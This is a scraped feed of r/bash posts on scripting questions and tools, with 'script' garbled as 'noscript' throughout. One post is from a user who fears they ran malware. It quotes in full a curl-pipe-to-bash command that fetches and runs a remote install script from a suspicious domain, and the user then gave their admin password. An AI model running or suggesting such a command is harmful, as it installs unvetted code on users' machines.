r_bash – Telegram
Does anyone use local uncompressed backup? Git-everything-always? Or layered approach?

I'm just wondering... I am new to Git, about three weeks in. Does anyone out there use a local uncompressed backup system for fast backups and reversions? Or is the Git-everything philosophy the best route?

I have been reading up on it and it seems like there is something useful about having a local reversion system outside of Git. Something simpler. Something closer to a 'layered approach'.

Write me a line.

Thanks,

-dckimGUY

https://redd.it/1mw2ujo
@r_bash
Bash Librewolf Installation

Github Repository: InstallScripts

Created a bash noscript that supports all the distros that librewolf ( privacy focused fork of firefox ) supports and I finished the noscript just need to test it on the other distros using docker, so far Debian, fedora and opensuse were successful.

https://redd.it/1mwsvo4
@r_bash
Prompt that repeats until user give correct input ( while loop )

Here's is an example of the code

while true; do
read -p "Would you like to continue? (yes/no): " yesorno # Outputs a Prompt
if "$yes_or_no" == "yes" ; then
echo "Continuing with the noscript..."
elif "$yes_or_no" == "no" ; then
echo "Not continuing with the noscript, exiting..."
exit 1
else # Executes if user does input "yes or no"
echo "Invalid input, try again..."
clear # clears the terminal
fi # ending block for the if statement
done # ending block for while loop

look at [Github: InstallScripts\](https://github.com/gitxpresso/InstallScripts)

https://redd.it/1mwt31f
@r_bash
What safe config file format do you recommend?

I don't want to source something in case it executes code. For now I am using json and jq. I would use yaml instead but yq isn't among programs I can justify installing

I could parse a text file. Sugestions? I just need key and value.

https://redd.it/1myf0xk
@r_bash
Does anyone use select menus?

They looked like a useful feature at first, but then I realized that select only prints the prompt ($PS3) but not the list. If whatever command you ran before prints a lot of text to stderr/stdout, you will not be able to see the list of options.

https://redd.it/1myi7zd
@r_bash
Made a bash argument parser

So I got tired of getopts and while loops for manual parsing. Plus help messages never staying in sync when you update your parser.

Built barg.sh - pure bash, performant enough to beat Python argparse by 3x (in my PC a simple hello world in python was 5 ms slower than barg generating the help message, lol), zero dependencies.

#!/usr/bin/bash
source barg.sh

barg::parse "${@}" << BARG
meta { helpmsg: true }
f/force :flag => FORCE "Force overwrite"
o/output :str => OUTPUT "Output directory"
v/verbose :flag => VERBOSE "Verbose mode"
BARG


That's it. Help messages auto-generate and stay in sync. Flag bundling works (-fv). Subcommands supported. Choice validation built in, has something I think switch is a good name, types, default values, etc.

GitHub

PS: This is just what I use on my own machine. For portable noscripts, I still stick to while loops since I don't want to make bash noscripts require downloading dependencies for everyone. These files live on my PC and work great for my environment, just thought it was cool enough to share.

https://redd.it/1myvo86
@r_bash
Why doesn't this for loop work in this scenario?

https://preview.redd.it/3dcydksxdzkf1.png?width=420&format=png&auto=webp&s=078e873c8b65149c8cc06496ec3c280f6769806f

https://preview.redd.it/5yc2ewzydzkf1.png?width=380&format=png&auto=webp&s=7593eacab4d0d4b7b2108aa8121d65c8e25cf4ea

For whatever reason, the first for loop (i = 0;) doesn't work. It simply calls the progress bar once, sleeps and then quits. However, the second one works fine. Does anyone know why this is the case?

https://redd.it/1myxpl0
@r_bash
Getting a directory path from a file

Hi all, I want to make a noscript to get a directory path from a file.

Let say I have this file called shortcut which has a line of

cf ${XDGCONFIGHOME:-$HOME/.config}

Then I have this noscript called sln to get the dir path from shortcut and then symlink some file to that path

#!/bin/sh

shortcut="$HOME/shortcut"
path="$(grep "^$2 " "$shortcut" | awk '{print $2}')"
ln -s "$1" "$path"

However I get error running sln <some_file> cf: ln: failed to create symbolic link '${XDG_CONFIG_HOME:-$HOME/.config}': No such file or directory

But if I add eval "path=$path" right before symlink will solve this problem. Does anyone know why is that?

https://redd.it/1mzo6mk
@r_bash
A recommended way to parse a config?

I have a backup noscript to manage my many external HDDs--each are associated with certain paths on the host's filesystem and when I don't want to manually specify those paths--just the drives themselves and it will back up their associated paths. E.g. driveA=(/pathA /pathB /pathD).

Currently the noscript uses drive names as array variables and uses namerefs (declare -n) where drive name as argument to noscript is passed to determine its associated paths. But this is problematic because 1) bash variable names cannot contain dash (-) which is useful as a drive name and 2) I would like to separate these variables into a config separate from the noscript.

Is there a standard and/or recommended (i.e. with little caveats) way to easily parse a suitable config for my purposes? I'm not sure what format is desirable. E.g. I'll need a reliable way to parse each drive for their paths in the noscript (doesn't have to be in this format, just an example. It can be assumed path names are absolute paths so begin with a / and drive names don't start with a /. Order of paths for a drive matter.):

-- driveA
/pathA/subdir
/pathB
/pathD

-- driveB
/pathF

-- driveC
/pathY
/pathZ

A simpler way would be to use a config for each drive name if there isn't a good way to go about this; however, I find it much more useful to work with one config so I can easily see and manage all the paths, associating them with different drives.

https://redd.it/1mztyus
@r_bash
built check_builtin.sh - a Bash tool that catches when your commands aren't what you think they are

Last week I spent 2 hours debugging why cd wasn't working properly with directory names containing spaces. Turns out Go version manager (GVM) had quietly replaced it with a function that was using $* instead of $@ - breaking argument parsing. Found the bug and fix here.

So I built check_builtin.sh - a Bash tool that catches when your commands aren't what you think they are.(MIT/BSD Licensde)

A few days ago someone was asking about aliases usage in this channel, so I wanted to put this out there. Its big and not light weight. There are simpler ways to do similar things , but I like fancy and easy to understand.

Exhibit A: The Phantom Function


$ source check_builtin.sh
$ check_builtin::main cd

COMMAND STATUS INFO

------- ------ ----

cd function override | function builtin



Turns out .gvm had been intercepting every cd forever with a buggy implementation

Exhibit B: The Helpful Alias


$ check_builtin::main ls

COMMAND STATUS INFO

------- ------ ----

ls alias override | alias → ls --color=auto | external → /usr/bin/ls



At least this one was harmless but it always bothered me as a security researcher that it was this easy to gloss-over coreutils...

## What It Does

Scans your live shell for command hijacking

Shows the full precedence chain (aliases beat functions beat builtins beat externals)

Flags critical commands like rm, sudo, mv that you really don't want overridden

Works by sourcing (because aliases/functions don't inherit to child processes - fundamental bash behavior)

The tool caught my purposeful overrides in my "matrix.dot.files" shell that I had baked in.

Quick test: source check_builtin.sh && check_builtin::main -a

GitHub: https://github.com/shadowbq/check_builtins

## Feedback plse:

Have you ever been burned by a command that wasn't what you expected?

Would something like this be useful in your workflow?

What other "gotcha" scenarios should this catch?

Built this out of frustration, but curious if others have hit similar pain points or if I'm just special at breaking things 😅

https://redd.it/1n08p26
@r_bash
Nrip, a modern, safe replacement for rm written in rust

Tired of `rm` eating your files forever? 🪦

Check out **nrip** — a safe replacement written in Rust.

Instead of deleting files, it sends them to a *graveyard* where you can:

\- list them,

\- resurrect them (restore),

\- or cremate them (delete permanently).

It even comes with `fzf` integration for interactive picking.

This is my first real Rust project, so any feedback is welcome! 🙏

https://github.com/Samtroulcode/NRip

https://redd.it/1n0imre
@r_bash
Return to the fist terminal to finish noscript?

Occasionally I think of something that will make my Ubuntu desktop experience better, and I think it will be a super simple bash noscript, but it almost never is LOL! I am using an application installed with pip and every time I start it I have to open the terminal and issue a few commands and then open a web browser. So I wanted a noscript to start it that I could launch from a .desktop icon. These are the steps:

#!/bin/bash
cd ~/lute3
source myenv/bin/activate
python -m lute.main
brave-browser http://localhost:5001

So of course what happens is that launching lute.main opens a new terminal and so the browser here does not launch. It's not a huge deal because even just with the first 3 lines, then all I have to do is open a bookmark in my browser, that is good. But it would be super cool to get the browser to launch. I tried searching for help on this but probably was not using the correct terms. Thanks

https://redd.it/1n0wh8e
@r_bash
I created an online configurator for Bash!

Have you ever wondered how much you can “squeeze” out of Bash? I have. I present an opinionated Bash configuration, whose colors can be dynamically configured in a web interface with a preview (with unix porn lovers in mind).

https://preview.redd.it/io58rhkrcflf1.png?width=980&format=png&auto=webp&s=6efe0f97c3dda56f60d9de12cdc2b99528c3558c

The configuration includes features such as:

* Git information if the current folder is a repository.
* History search using arrows.
* Number of background processes.
* Visual separation of executed commands.
* Exit code.
* Date and time.
* Unique host emblem.

Since I use it all the time myself, I thought someone else might like it too. So I'm making it more widely available, enjoy! [**https://github.com/czoczo/BetterBash**](https://github.com/czoczo/BetterBash)

If you like the project, you may consider giving a 🌟 on GitHub to show your support.

https://redd.it/1n0xd3k
@r_bash
Why * is more important than -B in ls cmd?

Why * is more important than -B in ls cmd?

Hi, I was looking for files starting with the letter L and not its Backup. I have 2 option for list them 1 is using the l (letter l from lile, love) l L*and 2 using ls -B L*
I was doing so 2 cmd l L* (l of love, letter) cmd and ls -B L* cmd too!
and in twice cmd ls found Lubuntu and Lubuntu~

"l" (l from love, letter) cmd is an build-in alias for ls -B filtering Backups (files ending in ~) and ls -B L* do the same.
When I did l (l of letter) L* cmd ( and ls -B L* cmd too )" both cmd found Lubuntu and Lubuntu~
what about the flag -B?
Shouldn't the option -b filter the backup that the ls command finds?
* is above -B flag ... I don't understand why star is over -B

Thank you and Regards!

https://redd.it/1n11noh
@r_bash
If a word has a hypen, should that hypen be squashed in a --long-option?

--long-options usually use hyphens to separate words.. but if a word (or term) already contains a hyphen is it standard practice to squash it?

For example if I need long options for "Band-pass" and "Noise gate", should it be...

--bandpass --noise-gate
# or
--band-pass --noise-gate

My instinct is to do whatever's least likely to confuse people.. but all things being equal I think word hyphens dilute the meaning of - as a word separator so they should be squashed as they're the lesser separator.

Wondering if i'm missing something or if there's a better way to look at it...

https://redd.it/1n1w1mv
@r_bash
I could never settle on a SSH client I enjoyed, so I created Termix! (Self hosted remote SSH terminals, tunnels, and file editing from the browser)

GitHub Repo: [https://github.com/LukeGus/Termix](https://github.com/LukeGus/Termix)
Discord (join to vote on whats next to a be added to Termix): [https://discord.gg/daFQ9hHM7R](https://discord.gg/daFQ9hHM7R)

For the past couple of months, I have been working on my free self-hosted passion project, Termix.

Termix is an open-source, forever-free, self-hosted all-in-one server management platform. It provides a web-based solution for managing your servers and infrastructure through a single, intuitive interface. Termix offers SSH terminal access, SSH tunneling capabilities, and remote file editing, with many more tools to come.

Complete Feature List:

* **SSH Terminal Access** \- Full-featured terminal with split-screen support (up to 4 panels) and tab system
* **SSH Tunnel Management** \- Create and manage SSH tunnels with automatic reconnection and health monitoring
* **Remote File Editor** \- Edit files directly on remote servers with syntax highlighting, file management features (uploading, removing, renaming, deleting files)
* **SSH Host Manager** \- Save, organize, and manage your SSH connections with tags and folders
* **Server Stats** \- View CPU, memory, and HDD usage on any SSH server
* **User Authentication** \- Secure user management with admin controls and OIDC support with more auth types planned
* **Modern UI** \- Clean interface built with React, Tailwind CSS, and Shadcn

https://redd.it/1n356dy
@r_bash
Did I just run malicious noscript? (Mac)

I don't know if these kinds of posts are allowed, please let me know and I will take it down if asked.

I came across this command and ran it in terminal: /bin/bash -c "$(curl -fsSL https://ctktravel.com/get17/install.sh)" from this link: https://immokraus.com/get17.php

Afterwards, I was prompted to input my admin code, which I did.

As I am very technologically illiterate, is there a way for to check the library/noscript the command downloaded and ran to see if it's malicious? So far there is nothing different about the machine and I don't know if it has been been compromised.

Yes, I know I was dumb and broke 1000 internet safety rules to have done that. Thank you for any of your help if possible.

https://redd.it/1n400bq
@r_bash
Are there any real alternatives to shfmt?

Not that I complain, but as the formatting options of `shfmt` are rather limited, I wonder what other alternatives there are. I struggled to find anything similarly universal that is being actively maintained.

Something that is not strictly limited to a specific editor, ideally respecting `.editorconfig` already in place in the project.

https://redd.it/1n4ah9r
@r_bash
redirected output does not update

On an old xfce (xubuntu) machine, I'm running a python noscript in a terminal window:

python3 my_noscript.py &> my_noscript.log

and trying to monitor the process with:

tail -f my_noscript.log

The buffering/flushing behaviour is very strange. The noscript has been running for half an hour and should have produced at least 300 lines of output, but the file size of the log was still 0 until I manually ended the noscript.

I've already tried this:

stdbuf -oL python3 my_noscript.py &> my_noscript.log

It doesn't change a thing. So far, output has only been written at the end, but not before that.

What could be the reason for that and is there a quick and easy way to change it?

https://redd.it/1n4w0iz
@r_bash
call function from switch case without double semi colon interference?


customshitkernconfdefaultname="ahh"

mkdir -p /scratch/usr/src/sys/amd/conf/



copy\_kernel\_over() {

cp ../sys/amd64/conf/$customshitkernconfdefaultname /scratch/usr/src/sys/amd64/conf/

echo $customshitkernconfdefaultname

exit

}



change\_default\_kernel\_name() {

read -P "please specify your filename: " $customshitkernconfdefaultname

echo $customshitkernconfdefaultname

exit

}



while true; do

read -p "Want to use default name of kernel conf? Default is named: $customshitkernconfdefaultname " yn

case $yn in

\[Yy\]\* ) copy\_kernel\_over()

\[Nn\]\* ) change\_default\_kernel\_name()

\* ) echo "Please answer y or n" ;;

esac

done



either it complains about ;; is not recognized or missing

https://redd.it/1n4xlfc
@r_bash